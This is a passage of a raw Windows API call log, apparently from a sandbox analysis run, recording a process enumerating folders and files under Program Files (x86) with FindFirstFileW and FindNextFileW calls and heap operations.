ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0268.662] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0268.662] GetProcessHeap () returned 0xc10000 [0268.662] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.662] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8df4d17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8df4d17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0268.662] GetProcessHeap () returned 0xc10000 [0268.662] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8df4d17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8df4d17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.665] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8df4d17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8df4d17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.665] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0268.665] GetProcessHeap () returned 0xc10000 [0268.665] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.666] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.666] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4094d875, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0268.666] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0268.666] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0268.666] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0268.666] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.666] GetProcessHeap () returned 0xc10000 [0268.667] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19340, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x1de400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5734ba40, ftCreationTime.dwHighDateTime=0x1d5e3a5, ftLastAccessTime.dwLowDateTime=0x6ba9e70, ftLastAccessTime.dwHighDateTime=0x1d5cd7c, ftLastWriteTime.dwLowDateTime=0x6ba9e70, ftLastWriteTime.dwHighDateTime=0x1d5cd7c, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4adada0, ftCreationTime.dwHighDateTime=0x1d5da44, ftLastAccessTime.dwLowDateTime=0x45049f00, ftLastAccessTime.dwHighDateTime=0x1d5c84f, ftLastWriteTime.dwLowDateTime=0x45049f00, ftLastWriteTime.dwHighDateTime=0x1d5c84f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe87350, ftCreationTime.dwHighDateTime=0x1d58650, ftLastAccessTime.dwLowDateTime=0x3e9d00c0, ftLastAccessTime.dwHighDateTime=0x1d5a08c, ftLastWriteTime.dwLowDateTime=0x3e9d00c0, ftLastWriteTime.dwHighDateTime=0x1d5a08c, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x194200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf69289, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cf69289, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cf69289, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x18f7d52f, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0268.668] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc5dac0, ftCreationTime.dwHighDateTime=0x1d5e8b2, ftLastAccessTime.dwLowDateTime=0x36eec700, ftLastAccessTime.dwHighDateTime=0x1d5a4e2, ftLastWriteTime.dwLowDateTime=0x36eec700, ftLastWriteTime.dwHighDateTime=0x1d5a4e2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="voluntary-fluid-heating.exe", cAlternateFileName="VOLUNT~1.EXE")) returned 1 [0268.668] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc5dac0, ftCreationTime.dwHighDateTime=0x1d5e8b2, ftLastAccessTime.dwLowDateTime=0x36eec700, ftLastAccessTime.dwHighDateTime=0x1d5a4e2, ftLastWriteTime.dwLowDateTime=0x36eec700, ftLastWriteTime.dwHighDateTime=0x1d5a4e2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="voluntary-fluid-heating.exe", cAlternateFileName="VOLUNT~1.EXE")) returned 0 [0268.668] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.668] GetProcessHeap () returned 0xc10000 [0268.668] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.668] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d0ff7f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d0ff7f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0268.668] GetProcessHeap () returned 0xc10000 [0268.668] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d0ff7f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d0ff7f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0268.669] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d0ff7f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d0ff7f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.669] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0268.669] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fdb2c0, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xb12a1460, ftLastAccessTime.dwHighDateTime=0x1d5c996, ftLastWriteTime.dwLowDateTime=0xb12a1460, ftLastWriteTime.dwHighDateTime=0x1d5c996, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="THUNDE~1.EXE")) returned 1 [0268.669] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fdb2c0, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xb12a1460, ftLastAccessTime.dwHighDateTime=0x1d5c996, ftLastWriteTime.dwLowDateTime=0xb12a1460, ftLastWriteTime.dwHighDateTime=0x1d5c996, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="THUNDE~1.EXE")) returned 0 [0268.669] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0268.669] GetProcessHeap () returned 0xc10000 [0268.669] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.669] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe76f0ef2, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe76f0ef2, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0268.669] GetProcessHeap () returned 0xc10000 [0268.669] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe76f0ef2, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe76f0ef2, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0268.672] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe76f0ef2, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe76f0ef2, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.672] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0268.673] GetProcessHeap () returned 0xc10000 [0268.673] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.673] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.673] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.673] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.673] GetProcessHeap () returned 0xc10000 [0268.673] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.673] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0268.673] GetProcessHeap () returned 0xc10000 [0268.673] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.674] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.674] GetProcessHeap () returned 0xc10000 [0268.674] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.674] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e4376f0, ftCreationTime.dwHighDateTime=0x1d5ba4d, ftLastAccessTime.dwLowDateTime=0xe5981800, ftLastAccessTime.dwHighDateTime=0x1d5ba14, ftLastWriteTime.dwLowDateTime=0xe5981800, ftLastWriteTime.dwHighDateTime=0x1d5ba14, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="solutionspassengersmoke.exe", cAlternateFileName="SOLUTI~1.EXE")) returned 1 [0268.675] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e4376f0, ftCreationTime.dwHighDateTime=0x1d5ba4d, ftLastAccessTime.dwLowDateTime=0xe5981800, ftLastAccessTime.dwHighDateTime=0x1d5ba14, ftLastWriteTime.dwLowDateTime=0xe5981800, ftLastWriteTime.dwHighDateTime=0x1d5ba14, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="solutionspassengersmoke.exe", cAlternateFileName="SOLUTI~1.EXE")) returned 0 [0268.676] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0268.676] GetProcessHeap () returned 0xc10000 [0268.676] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.676] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0268.676] GetProcessHeap () returned 0xc10000 [0268.676] 